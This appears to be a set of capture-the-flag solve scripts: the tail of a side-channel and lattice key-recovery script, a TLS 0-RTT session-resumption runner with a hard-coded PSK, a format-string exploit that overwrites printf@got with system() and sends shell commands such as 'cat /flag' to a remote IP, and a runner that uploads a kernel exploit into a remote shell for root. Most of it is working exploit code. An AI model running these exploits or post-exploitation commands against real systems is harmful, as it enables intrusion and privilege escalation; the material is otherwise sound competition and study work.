
    def enum(cols_sub, chunk=8192):
        CS = [M[:, c] for c in cols_sub]
        total = 5**len(cols_sub)
        g0 = 0
        while g0 < total:
            n = min(chunk, total - g0)
            block = np.zeros((n, 128), dtype=np.int32)
            for j in range(n):
                g = g0 + j; v = np.zeros(128, dtype=np.int64)
                for kk in range(len(cols_sub)):
                    v += vals[g % 5] * CS[kk]; g //= 5
                block[j] = v % Q
            yield np.arange(g0, g0 + n), block.astype(np.int16)
            g0 += n

    def decode(idx, cols_sub):
        v = np.zeros(128, dtype=np.int64)
        for kk in range(len(cols_sub)):
            v += vals[idx % 5] * M[:, cols_sub[kk]]; idx //= 5
        return v % Q

    B_keys, B_idx = [], []
    for idx, xb in enum(UB, 16384):
        k0 = xb[:, SIG[0]].astype(np.int64) * Q * Q
        k1 = xb[:, SIG[1]].astype(np.int64) * Q
        k2 = xb[:, SIG[2]].astype(np.int64)
        B_keys.append(k0 + k1 + k2)
        B_idx.append(idx)
    B_keys, B_idx = np.concatenate(B_keys), np.concatenate(B_idx)
    o = np.argsort(B_keys); B_keys, B_idx = B_keys[o], B_idx[o]

    e_grid = (np.array(np.meshgrid(*([[-1,0,1]]*3), indexing='ij')).reshape(3, -1).T % Q)

    for idx_a, xa in enum(UA, 4096):
        z = (b[SIG][None, :] - xa[:, SIG]) % Q
        ka = ((z[:, None, :] + e_grid[None, :, :]) % Q)
        ka = (ka[:, :, 0]*Q*Q + ka[:, :, 1]*Q + ka[:, :, 2]).ravel()
        pos = np.clip(np.searchsorted(B_keys, ka), 0, B_keys.size - 1)
        hit = B_keys[pos] == ka
        aidx = np.repeat(idx_a, 27)
        for ha, hb in set(zip(aidx[hit].tolist(), B_idx[pos[hit]].tolist())):
            r = (b - decode(ha, UA) - decode(hb, UB)) % Q
            if np.all(np.isin(r, (0, 1, Q-1))):
                s = guess.copy()
                for kk in range(8):
                    s[UA[kk]] = (ha // (5**kk)) % 5 - 2
                    s[UB[kk]] = (hb // (5**kk)) % 5 - 2
                return s
    return None

def main():
    d, M, t_flat = load_M_t()
    guess, weak = cpa_recover()
    print('CPA: 128 guesses; weak (no leakage) coeffs:', len(weak), weak, file=sys.stderr)
    s = fill16(M, t_flat, guess, weak)
    if s is None:
        raise SystemExit('FAILED: no algebraic-consistent completion; strong CPA picks suspect')
    # full residual sanity
    r = (t_flat - M @ s) % Q
    ok = bool(np.all(np.isin(r, (0, 1, Q-1))))
    print('t - M s residual in {-1,0,1}:', ok, file=sys.stderr)
    assert ok
    key = derive_key([s[0:64].tolist(), s[64:128].tolist()])
    flag = d['flag']
    from Crypto.Cipher import AES
    ct = AES.new(key=key, mode=AES.MODE_GCM, nonce=base64.b64decode(flag['nonce']))
    pt = ct.decrypt_and_verify(base64.b64decode(flag['ciphertext']), base64.b64decode(flag['tag']))
    print(pt.decode())

if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""
Remote two-stage 0-RTT runner (non-interactive).

Usage:
    python remote_stage.py HOST [PORT]

Feeds the recovered LAB bootstrap resumption PSK to the provided tls_resume
client (OpenSSL 3.5 TLS1.3 X25519MLKEM768 0-RTT client) inside the ossl35:local
docker image. Both lab.edge.example and release.edge.example are mapped via
--add-host to the given HOST (the two vhosts live on one edge IP).

The client itself performs:
  stage 1: resume lab.edge.example, 0-RTT GET /v1/release/preflight  -> nonce
  stage 2: resume release.edge.example, POST /v1/release/confirm with the
           nonce and RFC 9266 EXPORTER-Channel-Binding (32 B, empty context)

Exit 0 + flag{...} printed == success. Any failure is reported verbatim.
Requires: challenge files session_template.der/gateway-ca.crt/tls_resume in CWD,
          docker image ossl35:local, network route to HOST.
"""
import sys, os, subprocess, re, shutil

HERE = os.path.dirname(os.path.abspath(__file__))
PSK = "03e9e7f83954606e14674b521f17062f2c2ffd176750b2e0227b30becf1378bb"
SESSION = "session_template.der"
CA = "gateway-ca.crt"
CLIENT = "tls_resume"

def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "lab.edge.example"
    port = sys.argv[2] if len(sys.argv) > 2 else "9999"
    # stage in ASCII-only temp dir (challenge path is non-ASCII; bind mounts flaky)
    work = os.path.join(HERE, ".remote_work")
    if os.path.exists(work):
        shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    for fn, src in (("session_template.der", os.path.join(HERE, "att", "session_template.der")),
                    ("gateway-ca.crt", os.path.join(HERE, "gateway-ca.crt")),
                    ("tls_resume", os.path.join(HERE, "tls_resume"))):
        shutil.copy(src, os.path.join(work, fn))
    cmd = [
        "docker", "run", "--rm",
        "--add-host", "lab.edge.example:%s" % host,
        "--add-host", "release.edge.example:%s" % host,
        "-v", "%s:/w" % work.replace("\\", "/"), "-w", "/w",
        "ossl35:local",
        "sh", "-c",
        "timeout 60 ./tls_resume lab.edge.example %s %s %s" % (port, SESSION, PSK),
    ]
    print("[*] %s -> %s:%s" % (CLIENT, host, port))
    try:
        r = subprocess.run(cmd, capture_output=True, text=True, timeout=90)
    except subprocess.TimeoutExpired:
        print("[-] client hung (infra likely unreachable); killed after 90s")
        shutil.rmtree(work, ignore_errors=True)
        return 2
    out = (r.stdout or "") + "\n" + (r.stderr or "")
    print(out)
    m = re.search(r"flag\{[^}]+\}", out, re.I)
    if m:
        print("[+] FLAG:", m.group(0))
        shutil.rmtree(work, ignore_errors=True)
        return 0
    print("[-] no flag in output (rc=%s)" % r.returncode)
    shutil.rmtree(work, ignore_errors=True)
    return 1

if __name__ == "__main__":
    sys.exit(main())

#!/usr/bin/env python3
# exp.py for pwn-01 "logd" (湾区杯2026)
# Protocol: password (Blowfish-ECB key "L0gd-S3cr3t-K3y!", decrypt PW_CT) ->
#   "L0gd-Ma1nT-2026!"; ticket = u16le len + ChaCha8 ciphertext, decrypted
#   plaintext is passed to printf() -> format string vuln.
# Exploit: leak PIE (%73$p -> base+0x4df0) and libc (%75$p -> libc+0x29d90),
#   verify via %s-read of puts@got, then overwrite printf@got with system()
#   (%hn/%hhn), then every ticket plaintext is executed as a shell command.
import sys, os, re
from pwn import *
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from logd_crypto import chacha8_crypt

KEY = b"ChaCha8T1ck3tK3y20260psChannelXX"
NONCE = b"T1ck3tN0nce!"
PW = b"L0gd-Ma1nT-2026!"

OFF_PIE_LEAK = 0x4DF0          # %73$p  = pie_base + 0x4df0 (.fini_array ptr)
OFF_LIBC_LEAK = 0x29D90        # %75$p  = libc_base + 0x29d90 (__libc_start_main+0xd0)
OFF_PUTS = 0x80E10
OFF_SYSTEM = 0x50D70
OFF_PRINTF = 0x606F0
GOT_PRINTF = 0x5028
GOT_PUTS = 0x5018

HOST, PORT = "59.110.216.117", 24759
DIR = os.path.dirname(os.path.abspath(__file__))

context.log_level = "info"
TIMEOUT = 15

def start():
    if args.LOCAL:
        return process([
            r"C:\Program Files\Docker\Docker\resources\bin\docker.exe",
            "run", "--rm", "-i", "--security-opt", "seccomp=unconfined",
            "-v", DIR + ":/w", "ubuntu:22.04", "bash", "-c",
            "LD_PRELOAD=/w/libc.so.6 setarch -R /w/logd",
        ])
    return remote(HOST, PORT, timeout=TIMEOUT)

def ticket(io, pt: bytes) -> bytes:
    """Send one ticket; return everything printed before the next prompt."""
    assert 0 < len(pt) <= 0x40
    ct = chacha8_crypt(pt, KEY, NONCE)
    io.send(p16(len(pt)) + ct)
    return io.recvuntil(b"ticket>", timeout=TIMEOUT)[:-len(b"ticket>")]

def pwn_once():
    """Full chain: login -> leaks -> verify -> printf@got=system. Returns io."""
    io = start()
    io.recvuntil(b"password: ", timeout=TIMEOUT)
    io.send(PW + b"\n")
    r = io.recvuntil(b"ticket>", timeout=TIMEOUT)
    assert b"login ok" in r, r
    out = ticket(io, b"%73$p|%75$p")
    m = re.findall(rb"0x[0-9a-f]+", out)
    assert len(m) >= 2, out
    pie = int(m[0], 16) - OFF_PIE_LEAK
    libc = int(m[1], 16) - OFF_LIBC_LEAK
    pt = b"%65$s" + b"A" * (56 - 5) + p64(pie + GOT_PUTS)
    out = ticket(io, pt)
    got_puts = u64(out[1:].split(b"A" * 20)[0].ljust(8, b"\x00"))
    assert got_puts == libc + OFF_PUTS, f"libc mismatch {got_puts:#x}"
    got = pie + GOT_PRINTF
    target = libc + OFF_SYSTEM
    # low 2 bytes via %hn at got, byte 2 via %hhn at got+2 (byte3+ identical
    # because |system - printf| < 0x1000000 within one libc mapping)
    cur = libc + OFF_PRINTF
    assert (cur >> 24) == (target >> 24), "byte3 differs, need wider write"
    w1 = target & 0xFFFF
    w2 = (target >> 16) & 0xFF
    c1 = w1 if w1 else 0x10000
    c2 = (w2 - c1) & 0xFF
    fmt = ("%%%dc%%64$hn" % c1).encode()
    if c2:
        fmt += ("%%%dc%%65$hhn" % c2).encode()
    else:
        fmt += b"%65$hhn"
    pt = fmt + b"A" * (48 - len(fmt)) + p64(got) + p64(got + 2)
    ticket(io, pt)
    log.success(f"chain done: pie={pie:#x} libc={libc:#x}")
    return io

def main():
    io = pwn_once()
    flag = None
    cmds = [
        b"echo RCE_OK 2>&1",
        b"cat /flag 2>&1",
        b"cat /flag.txt 2>&1",
        b"ls -la / 2>&1",
        b"find / -maxdepth 4 -iname '*flag*' 2>/dev/null 2>&1",
        b"cat /home/*/flag* 2>&1",
        b"cat /root/flag* 2>&1",
        b"id 2>&1",
    ]
    for cmd in cmds:
        try:
            out = ticket(io, cmd)
        except Exception as e:
            log.warning(f"conn dropped on {cmd!r}: {e}; reconnecting")
            try:
                io.close()
            except Exception:
                pass
            io = pwn_once()
            continue
        log.info(f"$ {cmd.decode()} -> {out.strip()[:300]!r}")
        m = re.search(rb"flag\{[^}]*\}", out, re.I)
        if m:
            flag = m.group(0)
            break
    if flag:
        log.success(f"FLAG: {flag.decode(errors='replace')}")
        print("FLAG=" + flag.decode(errors="replace"))
    else:
        log.warning("flag not found in tried paths")
    try:
        io.close()
    except Exception:
        pass

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# knote remote exploit runner: qemu-over-tcp boot -> shell -> uuencode+gzip upload -> run -> read flag
# transfer: busybox lacks base64 but has uudecode+gunzip; heredoc avoids per-line echo
import gzip
import hashlib
import os
import re
import sys
import time
from pwn import *

context.log_level = 'info'

HOST = '47.93.236.122'
PORT = 26842
PROMPT = b'/ $ '
LOCAL_EXP = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'exp')


def uuencode(data: bytes, name: str) -> bytes:
    out = [b'begin 644 ' + name.encode() + b'\n']
    for i in range(0, len(data), 45):
        chunk = data[i:i+45]
        line = bytes([(len(chunk) + 32) if len(chunk) else 96])
        for j in range(0, len(chunk), 3):
            trip = chunk[j:j+3].ljust(3, b'\0')
            n = (trip[0] << 16) | (trip[1] << 8) | trip[2]
            for k in range(4):
                c = (n >> (18 - 6 * k)) & 0x3F
                line += bytes([c + 32 if c else 96])  # backtick for zero (GNU style)
        out.append(line + b'\n')
    out.append(b'`\nend\n')
    return b''.join(out)


def wait_prompt(io, timeout=30):
    return io.recvuntil(PROMPT, timeout=timeout)


def main():
    raw = open(LOCAL_EXP, 'rb').read()
    md5 = hashlib.md5(raw).hexdigest()
    gz = gzip.compress(raw, 9)
    uu = uuencode(gz, 'exp.gz')
    log.info(f'exp: {len(raw)}B md5={md5} | gz: {len(gz)}B | uu: {len(uu)}B, {uu.count(bytes([10]))} lines')

    io = None
    for attempt in range(10):
        try:
            io = remote(HOST, PORT, timeout=30)
            break
        except PwnlibException:
            log.warning(f'connect attempt {attempt+1} failed, retry in 5s')
            time.sleep(5)
    if io is None:
        log.error('cannot connect')
        sys.exit(1)

    # 1. wait for kernel boot + busybox shell
    log.info('waiting for boot...')
    io.recvuntil(PROMPT, timeout=120)
    log.success('got shell')

    # 2. echo off (prompt stays '/ $ '; never change PS1 -> no delimiter-in-echo issue)
    io.sendline(b'stty -echo')
    wait_prompt(io, 10)

    # 3. upload via uudecode heredoc
    io.sendline(b"rm -f /tmp/exp.gz /tmp/exp; uudecode -o /tmp/exp.gz << 'UUEND'")
    time.sleep(0.5)
    t0 = time.time()
    step = 4096
    for i in range(0, len(uu), step):
        io.send(uu[i:i+step])
        time.sleep(0.02)
    io.sendline(b'UUEND')
    log.info(f'uu data sent in {time.time()-t0:.1f}s, waiting for decode...')
    wait_prompt(io, 60)

    # 4. gunzip, verify md5, run
    io.sendline(b'gunzip -c /tmp/exp.gz > /tmp/exp && chmod +x /tmp/exp && md5sum /tmp/exp')
    out = wait_prompt(io, 30)
    log.info(f'md5sum out: {out.strip()!r}')
    if md5.encode() not in out:
        log.error('md5 mismatch, upload corrupted')
        io.close()
        sys.exit(2)

    log.info('running exploit...')
    io.sendline(b'/tmp/exp')
    try:
        out = io.recvuntil(b'FLAG:', timeout=30)
        sys.stdout.write(out.decode(errors='replace'))
        flag = io.recvline(timeout=10).strip()
        print(flag.decode(errors='replace'))
        m = re.search(rb'\w+\{[^}\n]*\}', flag)
        if m:
            log.success(f'flag: {m.group(0).decode()}')
        # fallback: we should be in a root shell now
        io.sendline(b'cat /flag /root/flag 2>/dev/null; id')
        out = io.recvrepeat(5)
        sys.stdout.write(out.decode(errors='replace'))
    except EOFError:
        log.error('connection closed (kernel panic?)')
        sys.exit(3)
    io.close()


if __name__ == '__main__':
    main()